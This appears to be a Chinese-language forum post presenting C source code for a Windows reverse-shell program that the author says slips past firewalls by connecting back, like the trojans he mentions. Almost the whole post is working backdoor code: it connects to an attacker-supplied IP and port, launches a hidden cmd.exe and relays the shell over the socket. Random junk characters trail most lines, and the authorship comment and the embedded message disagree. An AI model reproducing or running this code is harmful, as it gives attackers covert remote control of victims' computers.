这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R2Fh^x
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/* ============================== sfBjA
Rebound port in Windows NT t.i9!'Y ]
By wind,2006/7 w[n>4?"{
===============================*/ |<o>$;mZ
#include 8;dbU*
#include E* DVQ3~
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#pragma comment(lib,"wsock32.lib") 8Nl|\3nl-
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void OutputShell(); a(QZZq};S
SOCKET sClient; dzC&7
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $9u
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void main(int argc,char **argv) YnL?t-$Gg
{ SwmPP-n
WSADATA stWsaData; T"0)%k8lJ
int nRet; . I9] `Q
SOCKADDR_IN stSaiClient,stSaiServer; M5bj |tQ4
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if(argc != 3) #j~FA3O
{ ]> "/<"
printf("Useage:\n\rRebound DestIP DestPort\n"); R5~vmT5W
return; ;ZW}47:BS6
} jgfP|oD
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WSAStartup(MAKEWORD(2,2),&stWsaData); H<}Fk9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U=<.P;+f9
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stSaiClient.sin_family = AF_INET; "a_D]D(d5
stSaiClient.sin_port = htons(0); i1H80m s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QcVtv7+*v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XIW:Nk!S
{ 7bW!u*v-c
printf("Bind Socket Failed!\n"); )|1JcnNSa
return; y5t Ap
} FZI 4?YD?<
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stSaiServer.sin_family = AF_INET; ezy5Jqk5%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K*i1! "w
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [LEh
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ hx;kEJ
printf("Connect Error!"); ^cXL4*_=
return; 0GR9C%"]
} <("w'd}
OutputShell(); uF|ix.R6
} >WS&w;G
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void OutputShell() FH5 bC6
{ 2A;[Ek6{q
char szBuff[1024]; sNpBTG@{l
SECURITY_ATTRIBUTES stSecurityAttributes; m6ws#%|[
OSVERSIONINFO stOsversionInfo; .F$AmVTN
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uM6!RR!~
STARTUPINFO stStartupInfo; j24
char *szShell; FwzA_
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PROCESS_INFORMATION stProcessInformation; ') cgx9
unsigned long lBytesRead; 2 g8P$+;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N5_.m(:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Tsp-]-)
stSecurityAttributes.lpSecurityDescriptor = 0; }EG(!)u
stSecurityAttributes.bInheritHandle = TRUE; PvBbtC-9b
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !>);}J!e]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5K-)X9z?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]<?)(xz
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1KR|i"
stStartupInfo.wShowWindow = SW_HIDE; %{_
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stStartupInfo.hStdInput = hReadPipe; ?B!ZqJ#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~0{Kga
{!?RG\EYN
GetVersionEx(&stOsversionInfo); pNWp3+a'
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switch(stOsversionInfo.dwPlatformId) _Cs}&Bic_
{ T/6=A$4
#
case 1: !27]1%Aw
szShell = "command.com"; (` Mz.VN
break; ?YykCJJ ~@
default: Cb-E<W&2D
szShell = "cmd.exe"; w[G_ w:$a
break; Z69IHA[
} )t=u(:u]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0>MI*fnY"
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send(sClient,szMsg,77,0); "kg$s5o
while(1) JB_`lefW,'
{ @h,$&=HY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WkIV
if(lBytesRead) sYI':UQe
{ _7.y4zQJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5hK\YTU
send(sClient,szBuff,lBytesRead,0); LkB!:+v |B
} .4(f0RG
else *03/:q ^(
{ s@iCfX U
lBytesRead=recv(sClient,szBuff,1024,0); *?"{T;4u~O
if(lBytesRead<=0) break; k|C8sSH
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5z>\'a1U
} 28yxX431S
} AAY UXY!
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return; 9iNns;^`q
}